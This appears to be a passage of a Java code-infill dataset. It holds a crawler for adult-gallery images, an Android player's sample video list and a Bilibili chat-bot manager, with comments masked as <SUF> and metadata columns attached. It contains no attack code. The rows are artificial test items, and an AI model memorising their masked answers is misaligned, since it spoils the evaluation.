HttpHost proxy = new HttpHost("127.0.0.1", 7890);
//超时时间单位为毫秒
RequestConfig defaultRequestConfig = RequestConfig.custom()
.setConnectTimeout(1000).setSocketTimeout(30000)
.setProxy(proxy).build();
httpClient = HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build();
CloseableHttpResponse response = null;
response = httpClient.execute(httpGet); // 执行http get请求
HttpEntity entity = response.getEntity(); // 获取返回实体
if(null != entity){
InputStream inputStream = entity.getContent();//返回一个输入流
//输出图片
FileUtils.copyInputStreamToFile(inputStream, new File(intputFile+i+suffix));//引用org.apache.commons.io.FileUtils
System.out.println(i+suffix);
}
response.close(); // 关闭response
httpClient.close(); // 关闭HttpClient实体
}
}catch (Exception e){
System.out.println(e);
}
}
public static void crawlerNyaUrl(List<String> urlList) throws Exception {
Integer rateDow = 1;
for(String url:urlList){
String html = "";
if(url.length() != 0){
html = HttpClientUtil.getSource(url);
Document document = Jsoup.parse(html);
Element element = document.selectFirst("div.container").selectFirst("a");
String coverImgUrl = element.select("img").attr("data-src");
//获取图片载点
String[] ourStr = coverImgUrl.split("/");
//获取后缀
String[] oursuffix = coverImgUrl.split("\\.");
//获取数量
Elements picSum = document.select("div.thumb-container");
//获取本子名字
String benziName = element.select("img").attr("alt");
benziName = benziName.replaceAll("\\?","").replaceAll(":","").replaceAll(" ","").replaceAll("\\*","");
int count = picSum.size();
int benziN = Integer.parseInt(ourStr[ourStr.length-2]);
String suffix = "."+oursuffix[oursuffix.length-1];
String fileUrl = "https://i0.nyacdn.com/galleries/"+benziN+"/";
String intputFile = fileSource +benziName +"//";
nyaPictureMain.crawlerNyaPic(count,fileUrl,intputFile,suffix);
//缓存 <SUF>
Thread.sleep(3000);
}
}
System.out.println("喵变态图片缓存成功!!!!");
}
}
| 1 | 10 | 1 |
22912_54 | package xyz.doikki.dkplayer.util;
import android.content.Context;
import xyz.doikki.dkplayer.bean.TiktokBeanDk;
import xyz.doikki.dkplayer.bean.VideoBeanDk;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.List;
public class DataUtilDk {
public static final String SAMPLE_URL = "http://vfx.mtime.cn/Video/2019/03/14/mp4/190314223540373995.mp4";
// public static final String SAMPLE_URL = "file:///mnt/sdcard/out.webm";
// public static List<VideoBean> getVideoList() {
// List<VideoBean> videoList = new ArrayList<>();
// videoList.add(new VideoBean("七舅脑爷| 脑爷烧脑三重奏,谁动了我的蛋糕",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/03/2018-03-30_10-1782811316-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/03/29/8b5ecf95be5c5928b6a89f589f5e3637.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 你会不会在爱情中迷失了自我,从而遗忘你正拥有的美好?",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/02/2018-02-09_23-573150677-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/02/29/056bf3fabc41a1c1257ea7f69b5ee787.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 别因为你的患得患失,就怀疑爱情的重量",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/02/2018-02-23_57-2208169443-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/02/29/db48634c0e7e3eaa4583aa48b4b3180f.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 女员工遭老板调戏,被同事陷害,双面夹击路在何方?",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/12/2017-12-08_39-829276539-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/12/29/fc821f9a8673d2994f9c2cb9b27233a3.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 夺人女友,帮人作弊,不正经的学霸比校霸都可怕。",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/01/2018-01-05_49-2212350172-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/01/29/bc95044a9c40ec2d8bdf4ac9f8c50f44.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 男子被困秘密房间上演绝命游戏, 背后凶手竟是他?",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/11/2017-11-10_10-320769792-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/11/29/15f22f48466180232ca50ec25b0711a7.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 男人玩心机,真真假假,我究竟变成了谁?",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/11/2017-11-03_37-744135043-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/11/29/7c21c43ba0817742ff0224e9bcdf12b6.mp4"));
//
// return videoList;
// }
public static List<VideoBeanDk> getVideoList() {
List<VideoBeanDk> videoList = new ArrayList<>();
videoList.add(new VideoBeanDk("预告片1",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/02/04/mp4/190204084208765161.mp4"));
videoList.add(new VideoBeanDk("预告片2",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/21/mp4/190321153853126488.mp4"));
videoList.add(new VideoBeanDk("预告片3",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/19/mp4/190319222227698228.mp4"));
videoList.add(new VideoBeanDk("预告片4",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/19/mp4/190319212559089721.mp4"));
videoList.add(new VideoBeanDk("预告片5",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/18/mp4/190318231014076505.mp4"));
videoList.add(new VideoBeanDk("预告片6",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/18/mp4/190318214226685784.mp4"));
videoList.add(new VideoBeanDk("预告片7",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/19/mp4/190319104618910544.mp4"));
videoList.add(new VideoBeanDk("预告片8",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/19/mp4/190319125415785691.mp4"));
videoList.add(new VideoBeanDk("预告片9",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/17/mp4/190317150237409904.mp4"));
videoList.add(new VideoBeanDk("预告片10",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/14/mp4/190314223540373995.mp4"));
videoList.add(new VideoBeanDk("预告片11",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/14/mp4/190314102306987969.mp4"));
videoList.add(new VideoBeanDk("预告片12",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/13/mp4/190313094901111138.mp4"));
videoList.add(new VideoBeanDk("预告片13",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/12/mp4/190312143927981075.mp4"));
videoList.add(new VideoBeanDk("预告片14",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/12/mp4/190312083533415853.mp4"));
return videoList;
}
// /**
// * 抖音演示数据
// */
// public static List<VideoBean> getTikTokVideoList() {
// List<VideoBean> videoList = new ArrayList<>();
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0"));
// return videoList;
// }
public static List<TiktokBeanDk> tiktokData;
public static List<TiktokBeanDk> getTiktokDataFromAssets(Context context) {
try {
if (tiktokData == null) {
InputStream is = context.getAssets().open("tiktok_data");
int length = is.available();
byte[] buffer = new byte[length];
is.read(buffer);
is.close();
String result = new String(buffer, Charset.forName("UTF-8"));
tiktokData = TiktokBeanDk.arrayTiktokBeanFromData(result);
}
return tiktokData;
} catch (IOException e) {
e.printStackTrace();
}
return new ArrayList<>();
}
}
| ETS-Android5/geeklxlibs | zdkplayer/dkplayer/src/main/java/xyz/doikki/dkplayer/util/DataUtilDk.java | 5,474 | // * 抖音演示数据 | line_comment | zh-cn | package xyz.doikki.dkplayer.util;
import android.content.Context;
import xyz.doikki.dkplayer.bean.TiktokBeanDk;
import xyz.doikki.dkplayer.bean.VideoBeanDk;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.List;
public class DataUtilDk {
public static final String SAMPLE_URL = "http://vfx.mtime.cn/Video/2019/03/14/mp4/190314223540373995.mp4";
// public static final String SAMPLE_URL = "file:///mnt/sdcard/out.webm";
// public static List<VideoBean> getVideoList() {
// List<VideoBean> videoList = new ArrayList<>();
// videoList.add(new VideoBean("七舅脑爷| 脑爷烧脑三重奏,谁动了我的蛋糕",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/03/2018-03-30_10-1782811316-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/03/29/8b5ecf95be5c5928b6a89f589f5e3637.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 你会不会在爱情中迷失了自我,从而遗忘你正拥有的美好?",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/02/2018-02-09_23-573150677-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/02/29/056bf3fabc41a1c1257ea7f69b5ee787.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 别因为你的患得患失,就怀疑爱情的重量",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/02/2018-02-23_57-2208169443-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/02/29/db48634c0e7e3eaa4583aa48b4b3180f.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 女员工遭老板调戏,被同事陷害,双面夹击路在何方?",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/12/2017-12-08_39-829276539-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/12/29/fc821f9a8673d2994f9c2cb9b27233a3.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 夺人女友,帮人作弊,不正经的学霸比校霸都可怕。",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/01/2018-01-05_49-2212350172-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/01/29/bc95044a9c40ec2d8bdf4ac9f8c50f44.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 男子被困秘密房间上演绝命游戏, 背后凶手竟是他?",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/11/2017-11-10_10-320769792-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/11/29/15f22f48466180232ca50ec25b0711a7.mp4"));
//
// videoList.add(new VideoBean("七舅脑爷| 男人玩心机,真真假假,我究竟变成了谁?",
// "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/11/2017-11-03_37-744135043-750x420.jpg",
// "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/11/29/7c21c43ba0817742ff0224e9bcdf12b6.mp4"));
//
// return videoList;
// }
public static List<VideoBeanDk> getVideoList() {
List<VideoBeanDk> videoList = new ArrayList<>();
videoList.add(new VideoBeanDk("预告片1",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/02/04/mp4/190204084208765161.mp4"));
videoList.add(new VideoBeanDk("预告片2",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/21/mp4/190321153853126488.mp4"));
videoList.add(new VideoBeanDk("预告片3",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/19/mp4/190319222227698228.mp4"));
videoList.add(new VideoBeanDk("预告片4",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/19/mp4/190319212559089721.mp4"));
videoList.add(new VideoBeanDk("预告片5",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/18/mp4/190318231014076505.mp4"));
videoList.add(new VideoBeanDk("预告片6",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/18/mp4/190318214226685784.mp4"));
videoList.add(new VideoBeanDk("预告片7",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/19/mp4/190319104618910544.mp4"));
videoList.add(new VideoBeanDk("预告片8",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/19/mp4/190319125415785691.mp4"));
videoList.add(new VideoBeanDk("预告片9",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/17/mp4/190317150237409904.mp4"));
videoList.add(new VideoBeanDk("预告片10",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/14/mp4/190314223540373995.mp4"));
videoList.add(new VideoBeanDk("预告片11",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/14/mp4/190314102306987969.mp4"));
videoList.add(new VideoBeanDk("预告片12",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/13/mp4/190313094901111138.mp4"));
videoList.add(new VideoBeanDk("预告片13",
"https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg",
"http://vfx.mtime.cn/Video/2019/03/12/mp4/190312143927981075.mp4"));
videoList.add(new VideoBeanDk("预告片14",
"https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg",
"http://vfx.mtime.cn/Video/2019/03/12/mp4/190312083533415853.mp4"));
return videoList;
}
// /**
// * 抖音 <SUF>
// */
// public static List<VideoBean> getTikTokVideoList() {
// List<VideoBean> videoList = new ArrayList<>();
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0"));
//
// videoList.add(new VideoBean("",
// "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg",
// "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0"));
// return videoList;
// }
public static List<TiktokBeanDk> tiktokData;
public static List<TiktokBeanDk> getTiktokDataFromAssets(Context context) {
try {
if (tiktokData == null) {
InputStream is = context.getAssets().open("tiktok_data");
int length = is.available();
byte[] buffer = new byte[length];
is.read(buffer);
is.close();
String result = new String(buffer, Charset.forName("UTF-8"));
tiktokData = TiktokBeanDk.arrayTiktokBeanFromData(result);
}
return tiktokData;
} catch (IOException e) {
e.printStackTrace();
}
return new ArrayList<>();
}
}
| 0 | 15 | 0 |
18090_3 | package exp.bilibili.plugin.cache;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import exp.bilibili.plugin.envm.Identity;
import exp.bilibili.plugin.utils.TimeUtils;
import exp.bilibili.plugin.utils.UIUtils;
import exp.bilibili.protocol.XHRSender;
import exp.bilibili.protocol.bean.ws.ChatMsg;
import exp.bilibili.protocol.bean.ws.SendGift;
import exp.bilibili.robot.ChatRobot;
import exp.libs.utils.other.ListUtils;
import exp.libs.utils.other.RandomUtils;
import exp.libs.utils.other.StrUtils;
import exp.libs.utils.verify.RegexUtils;
import exp.libs.warp.thread.LoopThread;
/**
* <PRE>
* 在线聊天管理器:
* 1.自动晚安
* 2.自动感谢投喂
* 3.定时公告
* 4.举报/禁言等命令检测
* </PRE>
* <br/><B>PROJECT : </B> bilibili-plugin
* <br/><B>SUPPORT : </B> <a href="http://www.exp-blog.com" target="_blank">www.exp-blog.com</a>
* @version 2017-12-17
* @author EXP: 272629724@qq.com
* @since jdk版本:jdk1.6
*/
public class ChatMgr extends LoopThread {
private final static Logger log = LoggerFactory.getLogger(ChatMgr.class);
/** 被其他人联名举报上限: 超过上限则临时关小黑屋1小时 */
private final static int COMPLAINT_LIMIT = 3;
/** 禁言关键字 */
private final static String BAN_KEY = "#禁言";
/** 举报关键字 */
private final static String COMPLAINT_KEY = "#举报";
/** 同屏可以显示的最大发言数 */
private final static int SCREEN_CHAT_LIMT = 10;
private final static String WARN_KEY = "【警告】";
private final static String NOTICE_KEY = "【公告】";
private final static String NIGHT_KEY = "晚安(´▽`)ノ ";
private final static String AI_KEY = "【AI】";
/** 同一时间可以感谢的最大用户数(避免刷屏) */
private final static int THX_USER_LIMIT = 2;
/** 发送消息间隔 */
private final static long SEND_TIME = 500;
/** 自动感谢周期 */
private final static long THX_TIME = 30000;
/** 滚屏公告周期 */
private final static long NOTICE_TIME = 300000;
/** 检测待发送消息间隔 */
private final static long SLEEP_TIME = 1000;
private final static int THX_LIMIT = (int) (THX_TIME / SLEEP_TIME);
private final static int NOTICE_LIMIT = (int) (NOTICE_TIME / SLEEP_TIME);
private int thxCnt;
private int noticeCnt;
/** 自动答谢 */
private boolean autoThankYou;
/** 自动公告 */
private boolean autoNotice;
/** 自动晚安 */
private boolean autoGoodNight;
/** 自动回复(搭载AI聊天机器人) */
private boolean autoReply;
/** 已经被晚安过的用户 */
private Set<String> nightedUsers;
/**
* 一段时间内,每个用户赠送的礼物清单.
* username -> giftName -> giftName
*/
private Map<String, Map<String, Integer>> userGifts;
/**
* 发言计数器(主要针对定时公告和自动打call)
* 当同屏存在自己的发言时,则取消本次自动发言,避免刷屏.
*/
private int chatCnt;
private static volatile ChatMgr instance;
private ChatMgr() {
super("自动发言姬");
this.thxCnt = 0;
this.noticeCnt = 0;
this.chatCnt = SCREEN_CHAT_LIMT;
this.autoThankYou = false;
this.autoNotice = false;
this.autoGoodNight = false;
this.autoReply = false;
this.nightedUsers = new HashSet<String>();
this.userGifts = new LinkedHashMap<String, Map<String, Integer>>();
}
public static ChatMgr getInstn() {
if(instance == null) {
synchronized (ChatMgr.class) {
if(instance == null) {
instance = new ChatMgr();
}
}
}
return instance;
}
private void clear() {
nightedUsers.clear();
userGifts.clear();
}
@Override
protected void _before() {
log.info("{} 已启动", getName());
}
@Override
protected void _loopRun() {
// 自动感谢礼物投喂
if(thxCnt++ >= THX_LIMIT) {
thxCnt = 0;
toThxGift();
}
// 定时公告
if(noticeCnt++ >= NOTICE_LIMIT && allowAutoChat()) {
noticeCnt = 0;
toNotice();
}
_sleep(SLEEP_TIME);
}
@Override
protected void _after() {
clear();
log.info("{} 已停止", getName());
}
/**
* 开播打招呼
* @param roomId
*/
public void helloLive(int roomId) {
if(UIUtils.isLogined() == false) {
return;
}
String card = RandomUtils.genElement(MsgKwMgr.getCards());
String msg = "滴~".concat(card);
int hour = TimeUtils.getCurHour(8); // 中国8小时时差
if(hour >= 6 && hour < 12) {
msg = msg.concat("早上好");
} else if(hour >= 12 && hour < 18) {
msg = msg.concat("下午好");
} else if(hour >= 18 && hour < 24) {
msg = msg.concat("晚上好");
} else {
msg = msg.concat("还在浪吗?");
}
XHRSender.sendDanmu(msg, roomId);
}
/**
* 房间内高能礼物感谢与中奖祝贺
* @param msg
* @return
*/
public boolean sendThxEnergy(String msg) {
boolean isOk = false;
if(isAutoThankYou()) {
isOk = XHRSender.sendDanmu(StrUtils.concat(NOTICE_KEY, msg),
UIUtils.getCurChatColor());
}
return isOk;
}
/**
* 感谢上船
* @param msg
*/
public void sendThxGuard(String msg) {
if(!isAutoThankYou()) {
return;
}
XHRSender.sendDanmu(StrUtils.concat(NOTICE_KEY, "感谢", msg),
UIUtils.getCurChatColor());
}
/**
* 添加到投喂感谢列表
* @param msgBean
*/
public void addThxGift(SendGift msgBean) {
if(!isAutoThankYou() || msgBean.getNum() <= 0) {
return;
}
String username = msgBean.getUname();
String giftName = msgBean.getGiftName();
synchronized (userGifts) {
Map<String, Integer> gifts = userGifts.get(username);
if(gifts == null) {
gifts = new HashMap<String, Integer>();
userGifts.put(username, gifts);
}
Integer sum = gifts.get(giftName);
sum = (sum == null ? 0 : sum);
gifts.put(giftName, (sum + msgBean.getNum()));
}
}
/**
* 感谢一段时间内所有用户的投喂
*/
private void toThxGift() {
Map<String, Map<String, Integer>> tmp =
new LinkedHashMap<String, Map<String,Integer>>();
synchronized (userGifts) {
tmp.putAll(userGifts);
userGifts.clear();
}
// 若短时间内投喂用户过多, 则不逐一感谢, 避免刷屏
int userNum = tmp.keySet().size();
if(userNum > THX_USER_LIMIT) {
String msg = StrUtils.concat(NOTICE_KEY, "感谢前面[", userNum,
"]个大佬的投喂d(´ω`*)");
XHRSender.sendDanmu(msg);
// 分别合并每个用户的投喂礼物再感谢
} else {
Iterator<String> userIts = tmp.keySet().iterator();
while(userIts.hasNext()) {
String username = userIts.next();
